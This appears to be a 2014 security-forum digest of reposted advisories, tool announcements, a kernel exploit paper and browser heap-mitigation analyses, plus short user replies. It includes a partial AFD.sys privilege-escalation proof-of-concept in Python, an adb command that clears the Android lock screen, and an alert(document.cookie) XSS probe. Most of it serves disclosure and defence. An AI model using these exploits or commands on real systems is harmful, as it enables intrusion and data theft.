Nytro

Win32 and Win64 ShellcodesIntroduction 'Hidden' is a 32-bit shell code written for Windows that uses RSA key exchange and robust encryption to hide data transmitted between 2 computers. It consists of a client (the shell code) and a server. The client will create a cmd.exe process which then accepts data sent to it by the server over encrypted channel. Tested on 32-bit version of Windows XP, 64-bit 7 and Server 2012 PDF: https://github.com/cmpxchg8/shellcode/blob/master/win32/hs/Hidden%20Shellcode%20for%20Windows.pdf?raw=true Sursa: https://github.com/cmpxchg8/shellcode (win32/hs)

[h=1]FakeNet – Windows Network Simulation Tool For Malware Analysis[/h] FakeNet is a Windows Network Simulation Tool that aids in the dynamic analysis of malicious software. The tool simulates a network so that malware interacting with a remote host continues to run allowing the analyst to observe the malware’s network activity from within a safe environment. [adsnse size=1] The goal of the project is to: Be easy to install and use; the tool runs on Windows and requires no 3rd party libraries Support the most common protocols used by malware Perform all activity on the local machine to avoid the need for a second virtual machine Provide python extensions for adding new or custom protocols Keep the malware running so that you can observe as much of its functionality as possible Have a flexible configuration, but no required configuration The tool is in its infancy of development. The team started working on the tool in January 2012 and intend to maintain the tool and add new and useful features. If you find a bug or have a cool feature you think would improve the tool please do contact them. Features Supports DNS, HTTP, and SSL HTTP server always serves a file and tries to serve a meaningful file; if the malware request a .jpg then a properly formatted .jpg is served, etc. The files being served are user configurable. Ability to redirect all traffic to the localhost, including traffic destined for a hard-coded IP address. Python extensions, including a sample extension that implements SMTP and SMTP over SSL. Built in ability to create a capture file (.pcap) for packets on localhost. Dummy listener that will listen for traffic on any port, auto-detect and decrypt SSL traffic and display the content to the console. Right now the tool only supports WinXP Service Pack 3. The tool runs fine on Windows Vista/7 although certain features will be automatically disabled. You can download FakeNet here: Fakenet1.0c.zip Or read more here. Sursa: http://www.digitalmunition.net/?p=2984

[h=1]IDA Dalvik debugger: tips and tricks[/h] Posted on July 11, 2014 by Nikolay Logvinov One of the new features of IDA 6.6 is the Dalvik debugger, which allows us to debug Dalvik binaries on the bytecode level. Let us see how it can help when analysing Dalvik files. [h=2]Encoded strings[/h] Let us consider the package with the encrypted strings: STRINGS:0001F143 unk_1F143:.byte 0x30 # 0 # DATA XREF: STR_IDS:off_70 STRINGS:0001F144 aFda8sohchnidgh: .string "FDA8sOhCHNidghM2hzFxMXUsivl2k7hFOhkJrW7O2ml8qLVM",0 STRINGS:0001F144 # DATA XREF: q_b@V STRINGS:0001F144 # String #277 (0x115) STRINGS:0001F175 unk_1F175:.byte 0x3C # < # DATA XREF: STR_IDS:off_70 STRINGS:0001F176 aCgv01n8li2s3ok: .string "CGv01N8li2s3OKN29j6exe6-rvzgIRaCcWoOt5y30zjP1k43-f7WVOtXjbg=" STRINGS:0001F176 # DATA XREF: q_b@V+C There is a data reference, let us see where this string is used (e.g. using Ctrl-X). CODE:000090C0 const-string v0, aFda8sohchnidgh # "FDA8sOhCH"... CODE:000090C4 invoke-static {v0}, <ref RC4.decryptBase64(ref) RC4_decryptBase64@LL> CODE:000090CA move-result-object v0 So, apparently the strings are encrypted with RC4+Base64. Let us set a breakpoint after the RC4.decryptBase64() call and start the debugger. After hitting the breakpoint, open the “Locals” debugger window. Even if the application was stripped of debug information, IDA makes the best effort to show function’s input arguments and return value. Note the local variable named retval. It is a synthetic variable created IDA to show the function return value. This is how we managed to decode the string contents. [h=3]How to debug Dalvik and ARM code together[/h] Let us have a look at application that uses a native library. On a button press, the function stringFromJNI() implemented in the native library is called. package ida.debug.hellojni; public class MainActivity extends Activity { public native String stringFromJNI(); static { System.loadLibrary("hello-jni"); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final TextView tv = new TextView(this); final Button btn = new Button(this); btn.setText("Press me to call the native code"); btn.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { tv.setText(stringFromJNI()); } }); LinearLayout layout = new LinearLayout(this); layout.setOrientation(LinearLayout.VERTICAL); layout.setLayoutParams(new LayoutParams( LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); layout.addView(btn); layout.addView(tv); setContentView(layout); } } Native library function returns a well-known string. jstring Java_ida_debug_hellojni_MainActivity_stringFromJNI( JNIEnv* env, jobject thiz) { return (*env)->NewStringUTF(env, "Hello, JNI world!"); } o, we have application packaged in hellojni.apk file and installed in Android Emulator. Because IDA cannot analyse or debug both Dalvik and native (ARM) code at the same time, we’ll need to use two IDA instances to perform debugging in turns. To prepare the first IDA instance: load hellojni.apk into IDA, select classes.dex to analyze. go to the native function call and set breakpoint there. CODE:0000051C iget-object v0, this, MainActivity$1_val$tv CODE:00000520 iget-object v1, this, MainActivity$1_this$0 CODE:00000524 invoke-virtual {v1}, <ref MainActivity.stringFromJNI() imp. @ _def_MainActivity_stringFromJNI@L> CODE:0000052A move-result-object v1 change the default port in “Debugger/Process options” to any other value. start the Dalvik debugger and wait until breakpoint is hit. Then prepare the second IDA instance: prepare to debug native ARM Android application (copy and start android_server and so on). load hellojni.apk into IDA, and now select lib/armeabi-v7a/libhello-jni.so to analyze. the name of the native function was formed by special rules and in our case it is Java_ida_debug_hellojni_MainActivity_stringFromJNI(), so go to to it and set a breakpoint: .text:00000BC4 EXPORT Java_ida_debug_hellojni_MainActivity_stringFromJNI .text:00000BC4 Java_ida_debug_hellojni_MainActivity_stringFromJNI .text:00000BC4 .text:00000BC4 var_C = -0xC .text:00000BC4 var_8 = -8 .text:00000BC4 .text:00000BC4 STMFD SP!, {R11,LR} .text:00000BC8 ADD R11, SP, #4 .text:00000BCC SUB SP, SP, #8 .text:00000BD0 STR R0, [R11,#var_8] .text:00000BD4 STR R1, [R11,#var_C] .text:00000BD8 LDR R3, [R11,#var_8] .text:00000BDC LDR R3, [R3] .text:00000BE0 LDR R2, [R3,#0x29C] .text:00000BE4 LDR R0, [R11,#var_8] .text:00000BE8 LDR R3, =(aHelloJniWorld - 0xBF4) .text:00000BEC ADD R3, PC, R3 ; "Hello, JNI world!" .text:00000BF0 MOV R1, R3 .text:00000BF4 BLX R2 .text:00000BF8 MOV R3, R0 .text:00000BFC MOV R0, R3 .text:00000C00 SUB SP, R11, #4 .text:00000C04 LDMFD SP!, {R11,PC} .text:00000C04 ; End of function Java_ida_debug_hellojni_MainActivity_stringFromJNI select “Remote ARM Linux/Android debugger” and attach to the application process. press F9 to continue. Now switch to the first IDA session and press, for example, F8 to call native function. If we return back to the second IDA session then we can notice the breakpoint event. Now we can continue to debug the native code. When we finish, press F9 and return to the first IDA session. The full source code of the example you can download from our site. Sursa: IDA Dalvik debugger: tips and tricks | Hex Blog

Apache httpd mod_status Heap Buffer Overflow Remote Code Execution Vulnerability ZDI-14-236: July 16th, 2014 CVE ID CVE-2014-0226 CVSS Score 7.5, (AV:N/AC:L/Au:N/C:P/I:P/A:P) Affected Vendors Apache Affected Products HTTPD Server 2.x Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apache HTTPD server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the updating of mod_status. A race condition in mod_status allows an attacker to disclose information or corrupt memory with several requests to endpoints with handler server-status and other endpoints. By abusing this flaw, an attacker can possibly disclose credentials or leverage this situation to achieve remote code execution. Vendor Response Apache has issued an update to correct this vulnerability. More details can be found at: svn commit: r1610499 - in /httpd/httpd/branches/2.4.x: ./ CHANGES include/ap_mmn.h include/scoreboard.h modules/generators/mod_status.c modules/lua/lua_request.c server/scoreboard.c Disclosure Timeline 2014-05-30 - Vulnerability reported to vendor 2014-07-16 - Coordinated public release of advisory Credit This vulnerability was discovered by: AKAT-1 22733db72ab3ed94b5f8a1ffcde850251fe6f466 Marek Kroemeke Sursa: Zero Day Initiative

[h=1]Access OS X's Secret Terminal Hidden in the Login Screen[/h] Thorin Klosowski If you ever need to enter console commands without logging all the way into the desktop, Macworld has an old tip that shows you how to get access to the Terminal without going through the whole login process. All you need to do is type >console into the username field of the login screen, and you'll get dumped into a Terminal screen. Here, you can run pretty much any commands you need without logging all the way into the desktop. You still need a login and password to do anything, but it's a nice way to get quick access to your computer. This should work in pretty much all modern versions of OS X.1 Sursa: Access OS X's Secret Terminal Hidden in the Login Screen

New IP-based wireless networking protocol created Recognizing the need for a better way to connect products in the home, seven companies announced that they’ve joined forces to develop Thread, a new IP-based wireless networking protocol. Thread Group founding members consist of industry-leading companies including Yale Security, Silicon Labs, Samsung Electronics, Nest Labs, Freescale Semiconductor, Big Ass Fans and ARM. While currently available 802.15.4 networking technologies have their own advantages, each also has critical issues that prevent the promise of the Internet of Things (IoT) from being realized. These include lack of interoperability, inability to carry IPv6 communications, high power requirements that drain batteries quickly, and “hub and spoke” models dependent on one device (if that device fails, the whole network goes down). With Thread, product developers and consumers can securely connect more than 250 devices into a low-power, wireless mesh network that also includes direct Internet and cloud access for every device. “Existing wireless networking approaches were introduced long before the Internet of Things gained ground,” said Vint Cerf, vice president and chief Internet evangelist, Google, and advisor to the Thread Group. “The Thread protocol takes existing technologies and combines the best parts of each to provide a better way to connect products in the home.” “A number of networking solutions and platforms have been introduced to address the growing demand for connected products in the home,” said Lisa Arrowsmith, associate director, connectivity, smart homes and smart cities, IHS Technology. “Built on well-proven standards, including IEEE 802.15.4, IETF IPv6 and 6LoWPAN, Thread represents a resilient, IP-based solution for the rapidly growing Internet of Things.” Unlike many existing technologies or IoT approaches, Thread is not an application protocol or a connectivity platform for many types of disparate networks. Thread is an IPv6 networking protocol built on open standards, designed for low-power 802.15.4 mesh networks. Existing popular application protocols and IoT platforms can run over Thread networks. A version of Thread is already being used successfully in Nest products today. Thread offers product developers technological advantages over existing wireless standards: Reliable networks: Thread offers robust self-healing mesh networks that scale to hundreds of devices with no single point of failure. Devices are ready when people need them. Secure networks: Thread networks feature secure, banking-class encryption. Thread closes identified security holes found in other wireless protocols and provides worry-free operation. Simple connectivity: Thread devices are simple to install with a smartphone, tablet or computer. Consumers can securely connect Thread devices in the home to each other and to the cloud for easy control and access from anywhere. Low power: Thread supports battery-operated devices as part of a home network. This allows the devices that people use every day – including thermostats, lighting controls, safety and security products – to be a part of the network without requiring constant charging or frequent battery changes. Millions of existing 802.15.4 wireless devices already on the market can run Thread with just a software enhancement -- no new hardware required. Thread is designed for quick implementation and deployment of devices throughout the home. Sursa: New IP-based wireless networking protocol created

AFD.SYS DANGLING POINTER VULNERABILITY TABLE OF CONTENTS Affected OS ......................................................................................................................................................................... 2 Overview ............................................................................................................................................................................. 2 Impact ................................................................................................................................................................................. 2 Technical Analysis ............................................................................................................................................................... 3 POC code ......................................................................................................................................................................... 3 Vulnerability Analysis ...................................................................................................................................................... 4 Step 1 - IOCTL 0x1207f ................................................................................................................................................ 5 Step 2 - IOCTL 0x120c3 ............................................................................................................................................... 8 Exploitation ..................................................................................................................................................................... 9 READ-/WRITE-Primitives through WorkerFactory Objects ....................................................................................... 10 Controlled Data on NonPagedPoolNx Pool ............................................................................................................... 11 Leak Target ............................................................................................................................................................... 12 Single-Gadget-ROP for SMEP Evasion ....................................................................................................................... 12 Shellcode ................................................................................................................................................................... 13 Putting it all together ................................................................................................................................................ 13 Patch Analysis ................................................................................................................................................................... 14 […]targetsize = 0x100 virtaddress = 0x13371337 mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff) IOCALL = windll.ntdll.ZwDeviceIoControlFile def I(val): return pack("<I", val) inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0) inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4 […] print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, [1] socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) [2] print "[+] sock connected." print "[+] fill kernel heap" rgnarr = [] nBottomRect = 0x2aaaaaa while(1): hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1) [3] if hrgn == 0: break rgnarr.append(hrgn) print ".", print "\n[+] GO!" IOCALL(sock,None,None,None,byref(IoStatusBlock), [4] 0x1207f, inbuf1, 0x30, "whatever", 0x0) IOCALL(sock,None,None,None,byref(IoStatusBlock), [5] 0x120c3, inbuf2, 0x18, "whatever", 0x0) print "[+] after second IOCTL! this should not be hit!" Download: http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf

[h=1]armbot[/h] armbot is an irc bot written in armv6-linux-gnueabi assembler. [h=1]features[/h] connect to a non-ssl irc server ping/pong join a channel respond to "armbot: source" [h=1]motivation[/h] lol [h=1]requirements to run on x86_64[/h] qemu-arm as/ld with armv6 target (optional) gdb with armv6 target for debugging It may be necessary to change the XPREFIX variable in the Makefile to match the local cross-compilation binaries. Sursa: https://github.com/wyc/armbot#armbot

Se poate afla. Trebuie doar facut research. Si un driver. Si un bypass la protectiile lor de self-defense.

Thanks. ComputerWorld: Emergency vBulletin patch fixes SQL injection vulnerability - Computerworld

[h=1]Hacker Way: Rethinking Web App Development at Facebook[/h] Delivering reliable, high-performance web experiences at Facebook's scale has required us to challenge some long-held assumptions about software development. Join us to learn how we abandoned the traditional MVC paradigm in favor of a more functional application architecture.

Da. Peste cateva zile. Sa aiba lumea timp sa isi faca lumea update.

Ia da-i un alert(document.cookie) si vezi daca ai cookie-urile cu numele Y si T.

Acel vector XSS poate ajunge si la un alt user de pe Messenger? E Remote sau doar Self? Mai fusese postat unul. E in Send SMS?

Din aproape orice punct de vedere KDE > Gnome. Parerea mea. Bine Gnome e mai stabil, unele aplicatii KDE mai crapa urat.

Au lansat patch-ul: Security Patch Release for vBulletin 5.0.4, 5.0.5, 5.1.0, 5.1.1, and 5.1.2 - vBulletin Community Forum

Windows Phone 8 Application Security Whitepaper Syscan 2014 Singapore – Alex Plaskett and Nick Walker 2014/03/30 Contents 1. Introduction ..................................................................................... 4 2. Background ...................................................................................... 4 2.1 Application Overview ..................................................................................... 4 2.2 Code Signing ................................................................................................ 5 2.3 Sandboxing.................................................................................................. 5 2.4 Exploit Mitigation .......................................................................................... 7 2.5 Encryption .................................................................................................. 7 2.6 Secure Boot ................................................................................................. 8 2.7 Developer Unlock .......................................................................................... 8 2.8 Previous Work .............................................................................................. 9 3. Black box Assessment ......................................................................... 10 3.1 Obtaining Marketplace Applications .................................................................. 10 3.2 Application Structure ................................................................................... 11 3.3 Decompiling Marketplace Applications ............................................................... 12 3.4 Patching Marketplace Applications ................................................................... 12 3.5 Obtaining a remote shell ............................................................................... 13 3.6 Building Standalone Executables ...................................................................... 14 4. Local Data Protection ......................................................................... 16 4.1 Insecure Data Storage................................................................................... 17 4.2 Data Protection API (DPAPI) ........................................................................... 20 4.3 Local Database Security ................................................................................ 24 5. Transmission Security ......................................................................... 26 5.1 Traffic Interception ..................................................................................... 26 5.2 Cipher Support and Certificate Validation .......................................................... 27 6. Interprocess Communication ................................................................. 29 6.1 File and Protocol Handlers ............................................................................. 29 6.2 Cross Application Navigation Forgery ................................................................ 33 mwrinfosecurity.com | © MWR InfoSecurity 3 7. Input Validation ................................................................................ 37 7.1 Web Browser Control ................................................................................... 37 7.2 Cross Site Scripting (XSS) ............................................................................... 38 7.3 SQL Injection ............................................................................................. 40 7.4 XAML Injection ........................................................................................... 40 7.5 JavaScript Bridge Security ............................................................................. 41 8. Backgrounding and Application State ....................................................... 42 9. Push Notifications .............................................................................. 45 10. Application Logging .......................................................................... 48 11. C++/WinRT Native Code ..................................................................... 48 12. Samsung ATIV S ............................................................................... 49 12.1 Registry Access ......................................................................................... 49 12.2 File System Access ..................................................................................... 49 12.3 Enable All Side Loading / Bootstrap Samsung ..................................................... 50 13. Conclusions .................................................................................... 51 14. Acknowledgements ........................................................................... 52 15. References ..................................................................................... 52 Download: https://labs.mwrinfosecurity.com/system/assets/651/original/mwri_wp8_appsec-whitepaper-syscan_2014-03-30.pdf

Android 4.4.2 Secure USB Debugging Bypass A vulnerability found in Android 4.2.2-4.4.2 allowed attackers to bypass Android’s secure USB debugging, this allowed attackers to access adb prior to unlocking the device. Software Android Affected Versions Android 4.2.2-4.4.2 CVE Reference Authors Henry Hoggard, MWR Labs (https://labs.mwrinfosecurity.com)SeverityMediumVendorGoogleVendor Response Fixed in Android 4.4.3 Description: Android Developer Bridge (adb) is a command line tool that allows users to communicate with and debug the device. It gives users permissions to access many areas of the device, including the ability to manage apps, access device logs, read device input, take backups and execute OS commands. In Android 4.2.2, Google implemented Secure USB Debugging, aimed to prevent adb from being connected to malicious computers. The user has to authorize a computer before it can connect with adb. The idea is that users can only authorize a computer after entering the password and unlocking the device. The bug detailed is only exploitable when adb is enabled on the device. Impact: If adb is enabled on the device, attackers with physical access to a device can bypass Android’s secure USB debugging protection. This allows attackers to gain adb access to the device, which would allow them to: • Install/uninstall applications • Bypass the lock screen • Access a high privilege shell on the device • Steal data from applications and settings on the device Cause: The adb authorize host confirmation dialog is displayed prior to unlocking the device on the emergency dialer and lock screen camera. This allows attackers with physical access to authorize their computer and connect with adb. Interim Workaround: If you are running a vulnerable version of Android, it is recommended to disable ADB to prevent this attack. Solution: Android 4.4.3 prevents the adb authorization confirmation dialog from being opened in the emergency dialer and lock screen camera prior to unlocking the device. Users can now only authorize a computer with ADB after the lock screen stage is passed. Therefore it is recommended that a strong device password is used. Technical details: The intended design of secure USB debugging, is that the user needs to be unlock the device to be able to authorize new adb hosts. If the user attempts to use adb while still at the Android lock screen, it will throw the following error: error: device unauthorized. Please check the confirmation dialog on your device MWR discovered that by navigating to either the emergency dialer or the lock screen camera, then typing the below commands, it was possible to trigger confirmation dialog, the attacker could then accept this dialog and gain adb access to the device without knowing the device password. $ adb kill-server $ adb shell After gaining adb access to the device, to bypass the lock screen the following command is used: $ adb shell pm clear com.android.keyguard The below image shows the USB confirmation dialog displayed on the emergency dialer. Detailed Timeline: [TABLE] [TR] [TD] Date[/TD] [TD] Summary[/TD] [/TR] [TR] [TD] 26/02/2014[/TD] [TD] Reported to Google[/TD] [/TR] [TR] [TD] 27/02/2014[/TD] [TD] Google start investigating issue[/TD] [/TR] [TR] [TD] 29/04/2014[/TD] [TD] Google replied stating that a patch has been created[/TD] [/TR] [TR] [TD] 04/06/2014[/TD] [TD] Android 4.4.3 officially released containing patch[/TD] [/TR] [/TABLE] Sursa: https://labs.mwrinfosecurity.com/advisories/2014/07/03/android-4-4-2-secure-usb-debugging-bypass/

Isolated Heap & Friends - Object Allocation Hardening in Web Browsers In a recent Microsoft Patch Tuesday, Internet Explorer recently introduced a new heap protection aimed at making the exploitation of use-after-free vulnerabilities more difficult. This blog post details the protection, how it works, and how it compares to similar protections present in Mozilla Firefox and Google Chrome. Many people noted the huge amount of fixes for Internet Explorer vulnerabilities (59 in total) in the recent Microsoft Patch Tuesday release. Even more interesting is the addition of a new exploitation mitigation feature in IE, the Isolated Heap for DOM objects. This feature aims to harden the browser against the exploitation of use-after-free (UAF) vulnerabilities, as well as some other memory corruption bug classes. Chrome and Firefox deploy similar mitigations which we will discuss and later in this blog post. First, let’s have a look at the generic pattern of exploiting use-after-free vulnerabilities and the new Isolated Heap protection in Internet Explorer. Exploiting use-after-free vulnerabilities Due to the way heaps typically work, recently freed chunks of memory are preferred for fulfilling requests for similarly sized allocations, in order to prevent fragmentation of the heap and make optimal use of CPU cache behaviour. An attacker trying to exploit a use-after-free vulnerability reliably will likely try to allocate controlled data in place of the recently freed object. Typically, this controlled data is either a arbitrarily controllable type (such as a string or ArrayBuffer), or an object of a different type to the one that has been freed (replacing the object with one of the same type has limited worth from an exploitation point of view). The Isolated Heap in Internet Explorer Most of the DOM objects and supporting objects are now allocated on a separate heap. This will prevent an attacker from easily allocating arbitrary data in the space of a freed DOM object. The separate heap is allocated during the initialisation phase of mshtml.dll: ; START OF FUNCTION CHUNK FOR __DllMainStartup@12 loc_63C94EA9: ; dwMaximumSize push 0 push 0 ; dwInitialSize push 0 ; flOptions call ds:__imp__HeapCreate@12 ; HeapCreate(x,x,x) mov _g_hIsolatedHeap, eax The handle to the newly created heap is stored in a global variable. A call is made to the HeapSetInformation_LowFragmentation_Downlevel function, which will forcefully enable the Low Fragmentation Heap for this newly created heap. By following the references to the global variable, it is straight-forward to track down the allocation functions for the Isolated Heap: _MemIsolatedAlloc _MemIsolatedAllocClear The “Clear” variant will call HeapAlloc with the HEAP_ZERO_MEMORY flag set, which will zero all allocated memory before returning the newly allocated buffer. This is presumably done in order to prevent the exploitation of uninitialised memory vulnerabilities. Interestingly this is not done for all objects, only the following object types are being allocated by the non-zeroing variant: CDOMTextNode CTextNodeMarkupPointer CMarkupPointer CTraversalNodeIterator CDomRange The list of objects allocated by the zeroing variant is much larger and too long to list here, as it includes all HTML and SVG DOM Elements and supporting Element such as CTreeNode, CMarkup, CAttribute and others. Effectiveness The most obvious shortcoming of this implementation is that the protection is only restricted to a subset of objects in the browser. However, it is an improvement as the chosen subset includes many of the objects which are complex, and prone to UAF conditions as a result. Using the standard heap implementation (as opposed to a separate heap implementation) to try to prevent the exploitation of use-after-free vulnerabilities in a browser has also a few problems. Compared to the protections in other browsers, it should be fairly easy for an attacker to allocate objects of a different type over a freed object, especially when heap chunks are coalesced. When the zeroing variant of the allocation function is used, the protection against uninitialised memory vulnerabilities appears to be effective for the subset of protected objects. However, a number of other objects exist that are unprotected or allocated without first zeroing the memory, and these objects may still be partially uninitialised. Without a doubt the sudden introduction of this new mitigation technique on a Patch Tuesday will impact on actively exploited in-the-wild vulnerabilities, and at the very least will provide some headaches for attackers. Presentation Arena and Frame Poisoning in Mozilla Firefox Ever since the fork from Netscape, Firefox has used arena allocations for certain object types to recycle common object sizes and improve allocation efficiency. While this was initially done for performance reasons, it has some security benefits as well. In 2009, Mozilla added a protection called Frame Poisoning for some frame object allocations which were being heavily used during the page layout phase. Every object that is being freed will be replaced with a chosen pattern, making it easier to spot existing use-after-free vulnerabilities through use of the poisoned value (see here for an example). The current implementation can be found in the nsPresArena, and supports three types of allocations: By object ID By frame ID By size A separate free list is maintained for every object, frame ID and size allocation. During the lifetime of a presentation shell, a certain object or frame type will always be guaranteed to be allocated in a space that will only ever be filled with an object of the same type, or a poison value. This will prevent an attack from filling a freed object’s memory with arbitrary values. Effectiveness While this protection is effective for frame object allocation, many other object types in Firefox are not protected in a similar way (e.g. DOM objects). Which still allows attacker to exploit use-after-free vulnerabilities for object types which are not protected. PartitionAlloc in Google Chrome Chrome uses Blink (a forked version of WebKit) as its rendering engine. One of the security features added to Blink since the fork from WebKit is a separate heap allocator called PartitionAlloc. PartitionAlloc separates allocations on its heap into partitions, depending on the type of objects that will be allocated within that partition. At present, there are four partitions: ObjectModelPartition – This stores all objects which are subclasses of the Node class. This roughly equates to almost all objects from the DOM tree. RenderingPartion – This stores all objects within the render tree. To understand how these objects relate to the DOM tree, is a good talk by Eric Seidel from Google on the subject. BufferPartition – This stores objects from the Web Template Framework (the sometimes aptly named WTF). This includes many of the JavaScript native types, such as ArrayBuffer (typed and untyped) and StringImpl. “General Partition” – This stores all allocations served by WTF::fastMalloc (when the use of the system malloc is not specified). Within each partition, allocations are further separated into buckets based on the size of the allocation. Separating allocations by size hopes to limit an attacker’s options for different objects that can be reliably allocated in place of the freed object. For example, let’s say that an attacker has triggered the free of a DOM object that occupied an 176-byte chunk of memory on the heap. As discussed earlier in this post, prior to PartitionAlloc an attacker would have a number of options for allocations in place of the freed object. However, with PartitionAlloc, an attacker would be limited to allocating an object from the same partition (the ObjectModelPartition in this case) and of roughly the same size (176 bytes). Effectiveness The worst case for this limitation is that a number of objects exist which fill these criteria (this can happen when the memory footprint of the freed object is the same size as a generic base class, such as HTMLElement), however there is still a smaller subset of candidate objects available to an attacker. In addition, replacing the freed object with a different object will either result in replacing the vtable pointer of the freed object with a similar one, or with a freelist pointer (depending on whether the replacement object is in use or free). In either case, the most flexible option (from the point of view of an attacker) would be replacing the memory with objects where the data is controlled completely (such as a Uint8Array). As these objects are allocated outside of the current PartitionRoot, this is not possible. The best case scenario is that there is only one object which fulfills these criteria, and as a result it is only possible to replace the freed object with another object of the same type. This makes exploitation significantly more challenging, but not impossible (the newly allocated object may have a different state, or reference memory left over from the previous object which may now also be free). Sursa: https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends---object-allocation-hardening-in-web-browsers/

Is use-after-free exploitation dead? The new IE memory protector will tell you by Zhenhua 'Eric' Liu | July 16, 2014 The Isolated Heap for DOM objects included in the Microsoft Patch Tuesday for June 2014 was just a fire drill aimed at making the exploitation of use-after-free (UAF) vulnerabilities more difficult. The patch for July 2014, however, has been quite a shock to exploit developers! In this release, Microsoft showed some determination in fighting back against UAF bugs with this improvement - the introduction of a new memory protector in Microsoft Internet Explorer, which would make exploitation of UAF vulnerabilities extremely difficult. An Overview Of The Changes In the July 2014 update, a total of fourteen MSHTML!MemoryProtection: functions and one global variable have been added to improve memory freeing of HTML and DOM elements. Figure 1. The MemoryProtection functions. In this update, we can also see that significant changes are made in the deconstructor of most elements: The HeapFree function has been replaced with MemoryProtection::CMemoryProtector::ProtectedFree. The HeapFree function has been replaced with ProcessHeapFree (a fastcall version of MemoryProtection::CMemoryProtector::ProtectedFree). Some deconstructors just implement the same mechanism of using MemoryProtection::CMemoryProtector::ProtectedFree directly. Figure 2. The ProtectedFree functions that have replaced HeapFree. How do these new functions work? And how do these changes stop the exploitation of use-after-free bugs and other kinds of exploits? The following technical analysis will tell you. Technical Analysis Memory allocations typically reference similarly-sized chunks of memory that have been previously freed. Taking advantage of this behavior, the traditional way of exploiting a use-after-free bug consists of the following process: 1) The program allocates and then later frees object A. 2) The attacker allocates object B over the freed memory, carefully controlling the data that will be used later. 3) The program uses freed object A, referencing the attacker-controlled data. The most effective mitigation should be in making Step 2 above, the replacement of an object, become harder or even impossible. There are some ways that the defender can do this: A) The ultimate way is to use a type-safe memory management system which would prevent the attacker from reclaiming the freed memory using a different type of object. The attacker could only replace the memory using the same type of object, which does not help at all in exploitation. The cheaper way is to do some tricks in the current memory management system to make the memory allocation and freeing behavior out of the attacker’s control. Specifically, the method in B is the improvement that we have seen in IE in June 2014, where an isolated heap in the memory allocate method has been added; and in July 2014, where the protected free method has been implemented. The isolated heap that was introduced could bring some trouble to attackers, but if the mitigation only relies on this, it should still be fairly easy to bypass; an attacker could still reference the freed objects with a different type, especially when the chunks of memory have been merged. The story has changed with the newly added protected free method in the July 2014 update. In each thread of an IE process, a MemoryProtector structure has been introduced to protect the current thread, as its name implies. Figure 3. The MemoryProtector structure. The BlockArray in this structure stores the size and address of the elements to be freed. The new function MemoryProtection::CMemoryProtector::ProtectedFree then makes use of the MemoryProtector structure to make freeing of the elements’ memory safer. Figure 4. The MemoryProtection::CMemoryProtector::ProtectedFree function. Generally speaking, this function that is responsible for freeing the protected memory acts like a simple conservative garbage collector. Instead of releasing the unused space immediately which could allow attackers to have a chance to re-allocate the space, MemoryProtection::CMemoryProtector::ProtectedFree first holds these unused spaces (filling the content with zeroes) until the number or total size meets a specific threshold. When this threshold is met, it does not release every stored element’s memory at that moment just yet as it still needs to implement a “Mark and Sweep” process. In Figure 4, this can be seen in the calls to MarkBlocks and ReclaimUnmarkedBlocks. The following shows the marking process which scans and marks every element that is still being referenced in the stack; these marked elements will not be freed in the sweeping process. By doing this, the possible use of a freed object in the stack would be prevented. Figure 5. The MemoryProtection::CMemoryProtector::MarkBlocks function. Eventually, the non-marked elements are freed in the sweeping process. Figure 6. The MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks function. Now, let’s switch our point-of-view to the attacker’s side. To exploit a use-after-free bug under the above new conditions, we first need to find a controlled allocation method in the same heap as the freed object. We then need to predict the memory status (how many frees are still needed before triggering the actual free) when freeing an object. After that, we need to perfectly build the release sequence to make sure that the previously freed object’s space has actually been freed. That already sounds difficult, but that’s not all. We also have to predict the possible memory coalesces and handle the conflicts from other unknown allocations, and then reclaim the memory at a good timing. After all of that, we might then be able to take control of the previously freed element’s space. At this time, I’m afraid that most attackers who are trying to exploit use-after-free bugs have given up already. Further Thoughts As we can see in the beginning of the function MemoryProtection::CMemoryProtector::ProtectedFree in Figure 4, if the variable MemoryProtection::CMemoryProtector::tlsSlotForInstanc is equal to -1 or if TlsGetValue() fails, the old function HeapFree is directly called, but this is obviously tough to achieve. Some heap manipulation techniques would be affected by the joint action of the isolated heap and protected free because such techniques need to free some elements to make holes for the vulnerable buffer. The delayed free mechanism should bring some headache to attackers, but manipulation is not impossible, as long as attackers could find a controlled allocation method in the same heap and are able to free a reasonable amount of elements. Would the simple conservative garbage collector introduce a new attacking surface, such as the classic ASLR bypass by Dion? It’s possible to place an integer value into the stack and then brute-guess the address of the elements that are to be freed. However, even if an attacker could guess this address, one still cannot get a useful pointer such as the vftable that would leak a base DLL address due to the fact that the contents of the memory have already been zeroed out. In conclusion, building a reliable use-after-free exploit in IE is extremely difficult now. Well done, MSRC guys! Special Contribution by Margarette Joven by Zhenhua 'Eric' Liu | July 16, 2014 Sursa: Fortinet Blog | News and Threat Research Is use-after-free exploitation dead? The new IE memory protector will tell you

